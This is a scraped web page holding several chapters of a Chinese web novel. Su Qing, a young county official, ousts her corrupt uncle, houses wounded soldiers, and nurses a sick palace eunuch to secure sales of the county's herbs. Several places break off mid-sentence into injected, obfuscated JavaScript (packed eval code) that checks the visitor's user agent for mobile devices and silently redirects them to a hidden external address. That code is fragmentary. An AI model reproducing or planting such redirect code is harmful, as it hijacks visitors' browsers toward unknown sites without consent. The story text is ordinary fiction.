此次县试百般周折,能走到最后的,不说有多少势力,必然有钱。 这种人家养出的学生,岂是那种好脾气的。 巡捕到的时候,苏典吏已经被打的鼻青脸肿,在地上直打滚。 “疼死我了,疼死我了!你知道我二哥是谁吗!” “不对!你知道我侄女是谁吗?!” 说到这,打人书生怒骂道:“苏主事跟你能一样吗?!她跟你家不和,众所周知!” “我们要是听她的话,就不会被人笑话!” 天知道,他们在各自县里,也算有体面的。 这次去府城,想参加府试,却很狠狠嘲笑。 说什么县城的土包子,一点形式都看不明白。 这种情况,怎么可能有府试?! 还排除万难办县试,有何意义? 无用功罢了。 府学的官员本就不耐烦。 见他们没事找事,言语间更加刻薄。 更放话,若是再敢提府试的事,这些考生,以后都不必再考了。 说话间,竟然要断了这十五人的科举前程。 别说书生们愤怒,书生家里听说此事,恨不得生吞活剥了顾教谕跟苏典吏。 不管怎么样,能从四百七十人里脱颖而出的书生,本事还是有些的。 举全家之力培养出来的学生,若科举之路被断。 那就是毁他们全家! 想到这,大家手底下的拳头更狠。 衙门捕头等人,本来懒得拉架。 面对众人的愤怒,只好把苏典吏从里面捞出来。 打归打,不能打死了啊! 事情闹到这种地步,必然要上公堂。 打人的书生,以及书生家的奴仆。 再有苏典吏,以及顾教谕都来到堂上。 苏清低语几句,让人把县学附近的酒楼老板也喊来。 堂上闹哄哄的。 双方吵嚷得厉害。 谁也没想到,事情会发展到这一步。 就算是苏典吏,也以为府试不成就算了,为何还要嘲讽这些学生。 他想不明白的事,苏清倒是知道。 顾从斯甚至都察觉到什么。 他们这里都知道新皇注重科举。 但广乐府偏偏不能办,岂不是上赶着让新皇不高兴。 再者,若说下面各县连县试都办不成,也就罢了。 府学还有理由推脱。 现在好了,你南江县不仅办了,还办的众人瞩目。 府学这边自然尴尬。 不对这些人发火,还能怎么样? 更要把他们狠狠吓退,不敢再问。 苏清,难道早就知道此事? 所以她静观其变,把衙门跟苏典吏分开。 甚至让他主动上门,好把县学跟苏典吏也撇清关系。 顾从斯眼神复杂。 他本就聪明,稍加点拨,便成长迅速。 只是没想到,点拨他的人,竟是自己的未婚妻。 还是他一直不愿意承认的未婚妻。 等县学附近的酒楼老板来了,苏清轻拍惊堂木:“安静。” 声音虽不大,却极有力量。 两侧皂班捕手持刑具,口称威武,让本来吵闹的众人瞬间安静。 除了苏典吏顾教谕之外,其他人跪爬在地上。 苏清道:“此次考生起身,读书人不好失了体面。” 一句话,让本来满腔愤怒的书生们眼眶带泪。 终于来了个能做主的青天! 他们真是傻啊。 早点听苏主事的话,不会落到这种地步! “给顾教谕赐座。”苏清又道,“顾教谕经办五场考试,实在辛苦。” 这话也没错。 考生们没什么意见。 要不是有顾教谕,此次考试也不会这般公平。 说来说去。 只有苏典吏最恶! 都是他搅得南江县鸡飞狗跳! 明明衙门都听苏主事的,他们南江县多好啊。 外县考生同样这般想。 叛军来过之后,原本繁华的县城,变得一片狼藉。 很多地方至今还未恢复元气。 也就是南江县有些战乱之前的影子。 来此处备考,各家如此放心,就是知道这里太平安全。 这么好的地方。 却有苏典吏这种人! 看着眼前形式,苏典吏左右看看。 只剩酒楼老板还在趴着。 苏清却道:“你们说说,苏典吏使了你们多少银钱。” 酒楼老板们互相看看。 哪能不明白,自己老实交代了,苏主事大概率不会为难他们。 毕竟如今这场面,聪明人都知道,苏主事想收拾的,只有苏典吏一个。 这可是她亲三叔啊。 着实够狠。 但做一县主事。 若没有这般狠,也成不了事。 再说了,苏典吏捣乱在先,要是不反击,才显得软弱可欺。 酒楼老板必是不是蠢蛋,立刻把苏典吏如何巧取豪夺,问他们索要利润分成。 还说什么,四百多考生都是他弄来,挣得银钱要同他分等等。 更把账本拿出来,让苏典吏赶紧还这几个月的酒菜钱。 本就肿成猪头的苏典吏,指着苏清,半个字都说不出来。 苏清! 你在干什么?! 我是你亲三叔!!! 可你说话间,就让所有人指责我!? 还要把县试的锅,全都推到我身上?! 在场众人心惊之余,看向苏清眼神里带了说不出的敬佩。 她实在让人又敬又怕。 一个合格的主事,就该如此。 本地书生,竟然有种诡异的安全感。 这样手段果决,心思凌厉的主事,是他们的! 想想都让人忍不住臣服。 苏典吏意识到众人的态度,破口大骂道:“一个小小女子,还当什么主事。” “你爹没了,这位置就该是田县丞的。” “田县丞烂醉如泥,就该是我的!” “母鸡司晨,成何体统!” 苏典吏口不择言,还拉顾教谕下水:“办县试一事,也有顾家父子参与,你怎么不说他?!” “还未嫁人呢,就护着自己夫家,女子果然外向!” 顾教谕站起来,欲言又止,面色复杂。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336711|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾从斯直接阻拦:“苏三叔,苏主事秉公办事,绝不徇私枉法。” “我们虽是未婚夫妇,她却从未插手县试之事,世人皆知。” “你虽是我们长辈,但国法大于家法,还请三叔见谅。” 顾从斯一番话,堪称无懈可击。 尤其最后那句,国法大于家法,甚至让人无法指责苏清无情。 苏清看了看顾从斯,再看向知道自己死到临头的苏三叔:“你虽是我三叔,却也不好徇私枉法。” “自己辞去这典吏一职,再把所敛财物一并充公。” “该道歉的道歉,该还钱的还钱。” “这样免受皮肉之苦,也好解了众人心中不平。” 说到底,苏典吏所犯之事说大不大说小不小。 偏偏他是有正经官职。 苏清想要直接免了他的官,自然不行,否则不会留他这样久。 现在形势所迫,让他自己辞官,是最好的选择。 苏典吏哪能不明白。 苏清算准一切,只为现在。 不对,甚至拿他立威! 好让众人更加服气。 府衙那边知道了,都不会说什么。 谁让苏清也是不想办县试的,正合府衙老爷们的心意。 一步一算计。 他那蠢二哥,如何生出这样狡诈的女儿! 论官职,他远胜苏清! 论辈分,他更是亲三叔!苏清的爹死了,自己就是她爹! 眼看苏典满口胡言,皂班捕快直接堵住他的嘴,拿着杀威棒恭候。 直等他写了辞呈,按下手印,又让家人取来所犯财物,更把官服官帽一并脱下,印章直接从腰间剪走。 这些做完,只穿着里衣的苏三叔盯着堂上苏清。 怪不得王乡绅这样怕她。 他看向苏清的眼神里,也带着了几分惧意。 “你会有报应的!” “你一个女子!做的再好,也只是个主事!” “还想做官?!做梦!你连典吏都做不成!” 苏三叔一边骂一边被捕快扔出衙门。 几个书生对视一眼,直接把他拖到街角,再狠狠打一顿才能出气! 苏清并不理会外面的情况,只吩咐人不要打死了,接着看苏三叔贪下的银钱。 乱七八糟加起来,竟然近六百两银子。 还有从酒楼顺出来的好酒十几坛。 酒楼老板们能拿回酒,已然高兴,剩下的债只说问苏三叔要,并不敢看充公的银子。 毕竟这事真论起来,他们也有过。 顾教谕那边也差不多。 此次只惩苏三叔,是他们运气好罢了。 “罗户房,把这笔银子充入库银,县里总有使银子的地方。” 此言一出,众人更是服气。 这是真充公啊,便是考生们,也觉得不错。 只要不落入苏三叔手中,那就是极好的! 也有人低声说:“南江县,再也没有人能威胁到苏清。” 苏清回到后宅,看了眼瑟瑟发抖脸上带伤的苏三婶母子,并未多讲。 她绝不允许苏三叔这样的威胁在身边,即使名义上的威胁也不行。 去年带着偷带苏县令家的细软逃跑。 回来之后大放厥词,逆着她的意,一意孤行办县试。 更别说,苏三叔虽然胡言乱语,但他的官职跟辈分,确实是个隐患。 无论哪一件事,都值得他如今的下场。 哎,小事解决完了。 还是发愁她的药材吧。 马上三月份,距离药材收获,不到两个月了。 北江县薛守备,到底是什么意思。 还是说,没给他送银子? 苏清挠头。 她要不要行贿啊? 还是算了吧,以利诱之,不得长久。 既然那边有意收购药材,自己何必着急? 或者说,还有什么事,是自己不知道。 20.第 20 章 兵房老龚再次出发。 苏清叮嘱老龚,让他多注意军营的情况,听说最近两个月小仗不断。 看看是不是这个原因,让军中无暇顾及此事。 话是这么说,苏清却隐隐觉得,不是这个原因。 不过这次,江对岸的守备军,没有让她疑惑太久。 因为龚兵房三月初四出发。 三月初五便回来了。 而且还不是自己回来。 身后跟着一百多伤兵,这些手上颇为严重的士兵,还抬着两根木头做成担架,上面带着伤势更严重的士兵。 啊?! 这是干什么?! 南江县码头,突然出现这么多血淋淋的人,吓得百姓们退避三舍。 还是苏主事来了之后,大家才敢凑上前看热闹。 苏清听到情况,来的极快,没问怎么回事,只道:“先疗伤。” “送到白家医馆跟郝家医馆。” “就说是我的口信。” 龚兵房松口气,颇有些愧疚地看向苏主事。 等到没人的时候,龚兵房才一口气说明情况。 “前线小仗不断,叛军现在的将领手段极多,朝廷军疲惫不堪,吃了几次败仗。” 苏清皱眉。 距离前线极近的南江县都不知道这件事。 看来朝廷有意隐瞒。 “我这次过去,找机会去军营看了看,没想到被薛守备的手下抓了个正着。” “不过对方没有多说,带我去看了北江县的伤兵。” “那边人手不够用,后勤也跟不上,很多伤兵无人照料。” 剩下的就不用说了。 龚兵房也做过士兵,同袍情谊,自然不一般。 薛守备三言两语,他就稀里糊涂带了一百四十多伤兵回来。 其中二十多为重伤,几乎奄奄一息。 好在两县距离极为近,过个江便到。 否则这些伤员,只怕都见不到大夫。 罗户房刚想说老龚你糊涂啊。 南江县情况交好,也是相比其他对方。 但不管存粮还是库银都不多的。 而照顾伤员,不管是人手还是银钱,全都消耗巨大。 再说了。 这次是一百多。 下次呢? 这些话还未说出,龚兵房心里其实也清楚。 谁料苏主事却道:“老龚,做了件大好事。” 为什么? 因为他们救死扶伤吗?! 罗户房立刻道:“士兵抗击叛军,为国为民,确实是好事!” 顾从斯来了之后,只道事情始末,也道:“为国立功,可以永年。” 本来愧疚的龚兵房听到两人这样讲,当下眼眶发红。 要是他当兵那会,有这样的官员愿意帮忙,士兵的日子不会那样苦。 苏清沉默。 她真不是这个意思。 大家都看着她,苏清轻咳道:“我的意思是,从去年开始,北江县作为前线,已经接近一年,后勤肯定薄弱。” “南江县距离北江县极近,若有余力,应当支援的。” 想要跟内官搭上线,必要付出一些代价。 苏清之前想到行贿,就是意识到这一点。 没想到薛守备要的不是什么金银,而是让南江县帮忙照顾伤员。 对于这点,苏清不仅接受,甚至欢迎。 一个是,这些将士保家卫国,救过南江县。 二是她想做伤药买卖,不跟伤员打交道才不对劲。 作为距离前线最近的县。 如果执意捂上耳朵独善其身,才是蠢货。 但是她没大家想的那样大义凛然啊! 她只是想照顾好南江县百姓而已。 不过在其他人看来。 苏清这般态度,让人敬佩不已。 尤其是领头的周千户把南江县官员态度传回江对岸,传到薛守备手中。 再由薛守备送到总兵手里。 薛守备还道:“不愧是总兵,想的就是长远。” “还有这苏清,着实为女中豪杰。” “把这封信送到苏主事手中,药材收购的事,让她放心。” 永生二年,三月初六。 苏清刚从白家,郝家医馆出来,便接到周千户送来的信件。 这周千户手臂也有伤,不过受伤较轻,是这些伤兵的头。 即便这样,还往返两地,第一时间带来薛守备的信件。 苏清眼睛一亮,快速拆开书信。 薛守备很有武将风格,信的内容十分简洁。 先是谢过南江县肯照顾伤兵。 接着,直接说总兵大人已经给新任命的内官带去口信,说明南江县药材情况。 届时内官会亲自过来考察。 不过有总兵大人开口,这事八九不离十。 这封信不算长。 但能从里面提炼不少消息。 一,前线早就注意到南江县的情况,对这里伤药情况极为了解,总兵都在关注。 二,龚兵房去了薛守备那五六次,迟迟没有消息,大概率跟新旧内官交接有关。 三,只要他们招待好新内官,南江县的药材买卖,以及作为伤兵后勤处的补贴,便能拿到手。 没错。 照顾伤兵,自然能问朝中要补贴。 倘若这份银子能拿到手。 甚至比买卖药材还要稳定。 到时候南江县百姓的日子,不说大富大贵,至少极为安稳。 信件收起,苏清对周千户笑道:“有薛守备跟总兵大人的话,我就放心了。” “白家跟郝家医馆也只是暂时落脚的地方。” “我已命人打扫本地的慈幼院,作为伤兵医院,周千户可否能通往,看看有没有需要添补的。” 周千户难得露出笑容:“苏主事果然周到,咱们现在就走?” 跟军中打交道也不错,至少做事利落啊。 有兵如此,那领头的总兵大人,估计也是这种性子。 听说那位还是新皇的亲弟弟,今年不过十九。 更是这层身份,让苏清对此次交易,颇有些信心。 接下来一段时间,苏清一面让人去巡查药田,另一面快速整理出慈幼院,再把伤兵转移里面。 照顾伤员的人手,除了从七家药铺里出之外,又临时招募一批老妇人,学习简单的护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343311|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理包扎工作。 这方面,苏清也跟着制定准则,好让大家快速上手。 不知不觉中,南江县县城便有伤兵在附近走动。 起先本地百姓都怕,谁也不想接近。 但时间久了,自然明白前线依旧有战事。 他们躲的到底是伤员,还是假装不知道战事依旧。 自欺欺人这种事,也挺没意思的,不久众人便玩到一块去,伤兵们也有个解闷的去处。 见到此景,苏清并未太过高兴,反而带了些忧虑。 罗户房,顾从斯不知为何。 龚兵房却知一二:“苏主事,您是怕士兵们闹事吗?” 苏清点头。 世间的兵千千万。 不是每一家的兵将,都如她上辈子的那般。 既然意识到问题,便要防患于未然。 苏清立刻找来周千户,将自己的意思说出来。 照顾伤兵可以,但决不能打扰本地百姓生活。 若有军汉醉酒闹事,又或者强抢货物,强抢民女,骚扰百姓,那就会被赶出南江县。 苏清说到做到,有个刚恢复些的士兵喝酒喝大发了,砸毁店铺里的东西。 当时就被差役们拿下,直接捆了扔给周千户。 待醒酒赔钱后,装船送回薛守备处,以后不准再来。 周千户对此并无怨言,心里也夸苏清做得对。 士兵们面面相觑,知道是他们有错再先。 又有人说她是如何整治亲三叔,当下老实了。 此事到这里,已然了结。 苏清难免感叹,想要挣点军中银子。 还真是难啊。 不过让苏清最没想到的是,总兵知道此事后,竟亲自写了封信过来。 总兵一手字极为凌厉,气势磅礴,信里夸赞苏清有将帅之风。 说治军便该如此。 苏清挑眉。 这总兵有些意思。 知道南江县种药材。 知道他们想搭上内官的线。 更知道这些伤兵可能带来的危险。 但每一次,都是她解决大半后,再推波助澜。 似乎,是在考究。 考究她到底能做到哪一步,考究她到底值不值得合作。 现在看来,似乎通过考验了? 不愧是能当总兵的人,着实有些能力。 不管怎么样。 他们总兵都发话了。 南江县的太平日子,可以继续下去了,再惩治这些伤员,苏清也有话说。 苏清本想让刘小妹把信件收起来,却又看了看上面的字。 自己要是有这手字就好了。 必然能让顾从斯闭嘴。 苏清想了想道:“等会,我临摹几遍再说。” 一向手脚麻利的小妹愣愣点头,苏清有些奇怪,刚要问问怎么回事,就见罗户房快步走来。 “苏主事!薛守备来口信,说内官五日后就到!” “会专门在南江县落脚!” 内官! 买药材的内官! 苏清忍不住笑道:“太好了,终于要来了。” 他们南江县的药材,可以卖出去了! 21.第 21 章 顺昌国军制不算复杂。 基本分为卫所制跟营兵制。 可以理解为前者常驻,后者机动。 如今在前线的,便是因叛军所设的营兵。 而作战体系,则是文臣总督指挥,内臣太监监军,武臣总兵作战。 但如今的总兵为新皇亲弟,故而指挥作战为一体。 虽然都喊总兵,实则总兵总督兼任。 作为监军的镇守内臣,则是皇上的心腹太监,人称粱礼公公。 不管总兵总督,还是监军内臣。 都距离苏清太远。 不过这些都必须知道。 因为弄明白如今的官制,方能对来者推测一二。 “新来的内官名叫余申,都喊一声余公公。” “好像是新皇登基后,才入了皇上的眼。” “之前的内官收受贿赂,被人检举,闹到去年八九月份,京城那边只能召回,换了这位余公公过来。” 这些消息,一部分是负责照顾伤兵的周千户所言。 另一部分,则是苏清派人打探来的。 几方消息互相印证,所讲之事大差不差。 余申,余公公。 今年还不到四十,就能被派来做内官管后勤,必然有些本事。 苏清吩咐道:“让差役多出去看看,务必带来准确消息,到时候我们好出城迎接。” 如此殷勤,盖因人家是宫里皇上身边红人。 也因现在马上四月,她急着给药材找下家。 想让南江县的药材得到重视,如今这九千亩的数量,肯定不够看。 但如果头一回种药材,就没有人大量收购。 原本在观望的农户,肯定会犹豫,说不定原来种药材的农户都要重新改种其他东西。 这样一来,这半年的谋划,就全部泡汤。 简单来讲。 有人收购能看到前景,接下来半年里,会有更多农户积极参与。 如果看不到前景,原本的九千亩数量也保不住。 故而将来的余公公,便极为重要。 不能在关键时候掉链子啊。 苏清提前命人清扫街道,打扫衙门。 又让人把后宅一处僻静院子打扫出来,移植上花木。 “再寻两个会做京城饭食点心的厨娘。”苏清继续道,“价格好说,让她们随时候着,保证余公公一来,就有热汤饭。” 顾从斯皱眉。 他虽知道余公公重要,但如此这般,是不是有些谄媚。 “不必这样,你能力强,本地药材种的也好。” “相信大家都看得到,何必如此。” 苏清直接戳破:“觉得我谄媚?” 此刻身边人少,她直接道:“你是不是看不起太监。” 顾从斯不答。 看样子就是了。 这顾从斯有些读书人的傲气,自然看不惯太监公公之流。 苏清不理解但尊重,懒得解释,只道:“反正按我说的做就行。” 顾从斯这一点倒是很好。 他不理解但照做。 顾从斯他爹顾教谕也接受一部分差事。 不过听云喜说:“顾教谕想让顾秀才抽出时间读书,不能荒废学业。” 对哦,在读书人眼里,吏官跟太监公公也差不多,自然不愿意让顾秀才深陷其中。 苏清只当不知道。 南江县事情极多,不说药田的事,还要照顾伤员。 又因他们这边码头修缮得好,商船来的也多。 现在又要迎接后勤余内官,哪有工夫管这些,能做事就行! 南江县这边,准备的万分周全。 苏清难得抽出时间,也没去休息。 而是专门找梅娘说话。 主要问问刘小妹的事。 前几日,苏清发现小妹有些不对劲,问了几次,都没问出原因。 提到这事,梅娘叹口气:“还能因为什么,刘主簿没了一年,朱家准备让朱娘子另嫁他人。” “还说把小妹送回刘家庄,让刘家族人抚养。” 嫁人,乍一听是好事。 可都说初嫁从亲,再嫁由身。 现在朱家,冷不丁地要朱娘子再嫁。 怎么可能是为她考虑。 更别说,还要把她们母女分离,如何能接受。 刘主簿跟朱娘子两人夫妻和睦。 刘主簿走了之后,留下母女两人,也算靠着苏清接济。 虽说孤儿寡母,可住在衙门,无人敢欺扰。 这般日子过得也松快,还攒了不少体己钱。 朱娘子自接到家中信件,便忍不住哭泣:“我跟老刘自幼认识,算不得盲婚哑嫁,日子都难免有刻板。” “现在嫁个不知所谓,还要把我女儿送走,还不如让我去死。” 苏清听到这,皱眉道:“那朱家是从什么时候,打起这个主意的。” “好像是年后吧。”梅娘想了想道。 破案了。 苏清自做主事,大事小情见过不少。 了解前因后果,多半猜出缘由。 年前梅娘跟朱娘子都送了节礼到夫家娘家。 本来是礼尚往来,走走亲戚。 估计那朱家发现朱娘子过得不错,每月有两份俸禄不说,若把她再嫁出去,还能再收一份聘金。 钱帛动人心,朱家爹娘跟朱娘子兄弟,必然在打银子的主意。 可家人几次三番来信催促,惹得朱娘子面上无光,还被人议论。 刘主簿家里那边知道这事,也想把刘小妹接走。 说族里商量好了,会养育小妹,再寻个好亲事。 多半是被朱家烦得要死,干脆舍了这门亲。 朱家贪婪。 刘家也没好到哪去。 小妹今年不过十一。 强行带回族里,又是个爹死娘改嫁的,不一定受多少欺辱。 刘小妹以前话虽不多,却也是个灵动的小丫头。 现在闷闷不乐至此。 连她都知道的事,其他人怎会看不懂。 只有娘家来信,朱娘子尚能承担。 若夫家来人接走小妹,她必生不如死。 梅娘惊讶。 女儿竟然全都猜对了,不差分毫。 “那要怎么办。”梅娘立刻道,“清清,能不能救救她们俩。” 苏清思索片刻,一时也拿不准主意,只道:“我先给朱家刘家写信,就说小妹跟朱娘子在衙门有差事,一时离不开。” “让他们不要贸贸然派人过来,否则就算来了,也带不走人。等我这边找到合适的人手,再同他们写信。 先用缓兵之计。 她再找找机会。 不过这事确实有些麻烦。 朱娘子娘家,还有刘家庄的亲族。 哪一个说话,都很有用。 小妹的事说完,苏清下意识看向梅娘:“娘,我那两个舅舅可好?” 朱娘子母女有不少体己钱。 梅娘也有啊! 而且她作为主事,俸禄跟苏县令那时候差不多,钱更多啊。 梅娘没听出女儿的潜台词,只道:“你大舅跟二舅也说要过来,害怕咱们在这辛苦。” “年后托人带了不少布料,说给咱们做衣裳。” “你外祖还把祖传的人参送过来,说保命用,还说要是人参在的话,你爹就不会。” 说到这,梅娘看向女儿,忍不住笑着搂住她:“好孩子,你外祖还有舅舅们都很好。不会让娘嫁人的。” 苏清试探舅舅的意思,被听了出来,不过她立刻澄清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351436|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一件事:“娘要是有想嫁的人,当然没问题的,无论怎么样,女儿都支持你。” 就是怕朱家那种情况啊! 不过听方才的话,梅家亲眷都是极好的,这她就放心了。 暂时处理完小妹的事,苏清又回了正堂。 几个药铺老板有话要说,她还要去看看。 解决完这些事,茶还没喝上,便听武捕头来报:“主事,余内官的车马耽搁了,估计要晚几天才能到。” “为何耽搁?” 武捕头有些不确定,只道:“好像是病了,真假不知,那边把消息瞒得严实。” 苏清稍稍点头:“让过去的差役不要多说多问,只听那边吩咐。” “若有大的变动,立刻来报。” 原定在四月初三到南江县的余内官,一直拖延到四月初九,方姗姗来迟。 跟原想的场面不同,余内官竟是被躺着送进来的。 余公公病得厉害,路上耽搁几日,也是病上吐下泻,不能行动。 本来的热闹相迎自然不合适,苏清都没让人凑到跟前,只吩咐耐心细致的手下过来,直接送到收拾妥帖的小院里。 小院恬静安逸,确实是个养病的好地方。 余内官脸色苍白,强忍着不适,跟苏清道了句谢,接着又昏睡过去。 余内官身边带了十几仆从。 以身边王公公,李公公为先,负责贴身照料。 两人也因这趟公差,才攀附上余内官,没想到还未到任,余内官竟有归西的征兆。 武捕头本想问,要不要请大夫来看看。 苏清稍稍摇头,等王李两位公公问了,这才派人去请。 生病这种事,可大可小。 若主动去请,出了事,必然有责任。 人家先开口就会安全许多。 她是想让南江县百姓过上好日子。 不是想葬送药田的事业啊! 好在安排得京城厨娘派上用场。 做了碗做烂糊的鸡蛋疙瘩汤,用的是京中手法,余内官喝了一些,气息平缓不少。 白大夫跟郝大夫道:“此乃痢疾,多是路上吃了不干净的东西,以至怕冷发热,能吃下些东西就是好的。” “这病症就是要多休息,多修养。” 两人开了方子,苏清也看了看,没什么问题,这才让人去煎药。 “亲自照看些,余内官是贵人,万分小心。”苏清嘱托白郝两位大夫。 这话也不瞒着病弱的余内官还有王李两位公公。 这种时候,有苏清这种办事妥帖的地方官员,也是他们的幸运。 出了卧房,另有给随行人员准备的餐食,自然丰盛畅快,让大家都好好歇歇。 另派了机灵的云喜等人照料传话。 事情处理完,原本着急的苏清也不急了。 现在急有什么用。 生病的人最不能打扰。 还是让余内官好好养病吧。 等病养好了。 总能收她的药材吧?! 事情不算顺利,苏清倒也不气馁。 不管事成与否,都不妨碍她把差事做到位,也不妨碍她积极地想办法。 好在,总有好消息传来。 朱家刘家回信过来,说苏主事既然要用人,他们不好贸然过来。 这事,算是暂时搁置。 最近一段时间,不会有人带走朱娘子母女。 苏清放下信件,不再回复,提笔给薛守备写信,告诉他这边的情况。 顾从斯帮忙整理信件,正好看到苏清铁笔银钩的字迹,皱眉道:“你新学了什么字帖?” 苏清把另一封信件放到上头,示意一起收起来,笑道:“好看吧?多有气势。” 就冲这份气势,她便对接下来的交易,十分有信心。 22.第 22 章 “余内官,我把窗户打开通通风吧。”云喜端着饭菜进来,关切道:“内官身上还有虚汗吗?我先给您擦一擦。” 能当门房的小子,一般都机灵得很。 知道这位内官对苏姐姐很重要,云喜更加卖力,半点没有不耐烦。 小小的少年,用温水将手帕打湿了,再给余内官擦去虚汗,整个人都清爽不少。 余内官松口气,又被扶着起来,吃些东西,这才有力气骂道:“那群不知所谓的,只会躲懒。” 这骂的,自然是他左右手王公公李公公。 这一路辛苦,两人也照顾余内官许久。 现下有人接手,自然要好好歇歇。 余内官说了几句,轻轻喘着气,眼神甚至宽慰地看向云喜。 自四月初九到南江县,现在四月十六。 一直都是这孩子照顾自己。 知道他的身世后,余内官不免感伤。 他当年也是无父无母,被族人卖到宫里做太监。 倘若那时候,能遇到苏县令,或者苏清这种官员,想来也不会成为公公,一辈子无后。 想到无后这两个字,难免又想到族人要把孩子给他当义子,实在是恶心至极。 毕竟这就是吃他的绝户,想要他多年积攒的家底。 哪能点头。 估计是在病榻上,余内官难免多思多虑。 听到门外有个小丫头喊云喜,这才回神。 门外小女孩说话文文静静:“这是苏姐姐让我送来的点心,很是清爽,看看余内官喜不喜欢。” 苏姐姐? 苏清? 余内官打起精神,让云喜取了五十文赏钱给外面的丫头,又道:“多谢你们苏主事了。” 余内官自然知道苏清如此殷勤的原因。 他在宫里二十多年,这点小算盘,抬抬眼就知道。 不过他没想到,一个十七岁的小姑娘,能把战乱后的地方,打理的这样好。 甚至还攀上军中的关系,让三皇子,不对,如今是三王爷了。 让三王爷的心腹薛守备传话,请他这个军中后勤内官,特意在此停留。 以便考察收购此地的药材。 也幸好在南江县停留。 若不是此处的贴心照顾,他能不能活着到军中,都是个问题。 而且养病这四五天里,苏清除了派人送来茶水点心果子,并不刻意打扰。 如此耐心,放在京城都是少见的。 余内官眼中闪过欣赏,云喜已经把点心装好送到跟前。 “去帮我喊个人。”余内官把点心分给云喜,又道,“把小王公公,小李公公喊过来。” 余内官又骂:“不长眼的东西,我是病了,他们没病,就不能做点事。” 做什么事? 云喜强按激动,就听内官道:“让他们去视察药田,拟个契凭,到时候送到我上司,也就是军中镇守内臣处,此事就能定下。” 简单来讲。 就是收药材! 余内官虽在病榻,却已经拍板了! 十三岁的云喜到底是个少年,实在没忍住欢呼出声:“好!我现在跑着去。” 说罢,又回头道:“我让其他门房在外面侍候,内官要是有事,直接喊他们就行。” 云喜小跑着报喜,先去找王李两位公公,随后立刻告诉苏主事。 最后喘着粗气,站在余内官门外,听里面商议收药材的事。 衙门正堂旁侧厅内。 苏清坐在主位,旁边依次坐着衙门顾从斯,罗户房,龚兵房以及武捕头。 他们原本就在商议公事,看到云喜急匆匆跑过来耳语几句,又急匆匆离开。 而苏主事脸上带了真切的笑,放下手里的文书,看向众人。 “好事将近。” 最近能被称为好事。 只有一个了! 药材收购?! 苏清点头。 虽说她已有七八分把握。 南江县不过九千亩药田,对整体的军中采购来说,不算什么大事。 再加上总兵开口,以及衙门这段时间的悉心照料。 余内官不松口,才是怪事。 不过他的病还没完全好,就让手下去办,着实让人没想到。 “今日四月十六,距离第一批药材成熟,还有半个月时间。” “只要采购文书递上去,等着镇守内官批复即可。” 作为余内官的顶头上司,镇守太监不会在这种小事上做文章,基本上不会反对。 总而言之,现在最关键的一部就要成了。 苏清总会不高兴。 在场众人明白过来,全都长舒口气。 他们南江县的药材,终于有人收购了! “其实来往船只也在打听咱们的药材。”罗户房不屑道,“都等着军中不收,然后压价采买呢。” 这点苏清也知道。 他们南江县药材种得好,自然引起窥探。 不过她确实做好准备。 倘若军中不要,那就再跟过往大商户们谈。 毕竟卖给谁不是卖,只要能让大家过上好日子,一切都可以谈。 被余内官训斥过的王李两位公公,倒也不含糊,领令后,便带着手下去巡查药田,记录各种药材的情况。 用他们两位的话讲:“在南江县吃吃喝喝这样久,哪能不做事啊。” 从京城到广乐府南江县,一两千里地,赶路都累死了,还要照顾病人。 也就来了南江县,颇有些宾至如归之感,甚至能吃到京城的口味。 这番用心,大家都看在眼中。 故而余内官不等病好,便让手下做事。 手下也不推托,尽快把差事办成,盖了余内官的印章后,就送到前线去。 同时也说明他们这里的情况,四月二十五之前,他们定然到任。 这话一说,白大夫有些犹豫:“余内官的病还没好全,若再奔波,恐怕再生病症。” 余内官之前的病为痢疾,跟食物不洁净,还有水土不服有关。 这种病只能养,半分急不得。 余内官却摇头:“已经养的够久了,不能再耽误。” 既如此,苏清吩咐白大夫跟郝大夫,尽心用好药去治。 私下里,她开了张不俗的方子给到两人。 “余内官下痢赤白,身热,脉数,舌苔黄腻。” “用黄芩二至四钱,生白芍一钱半到三钱。” 余下白头翁,秦皮等等不再细讲。 总之这方子拿出来,两位大夫面面相觑:“苏主事,你家祖上,难道是什么名医?!” 上次预防疫病的方子,都让他们惊叹不已。 这次更是对症。 除非为祖传,不然绝不可能啊。 苏清想到自己姥姥,这不是什么祖传,是姥姥传。 苏清笑而不语,只让他们去猜,又故弄玄虚道:“他人面前不要提。” 两人连连点头,当下去亲自去抓药,必用最好最精的药,方能报答苏主事。 当然,换药方之前,先让余内官看过,那边点头了,他们再熬药。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 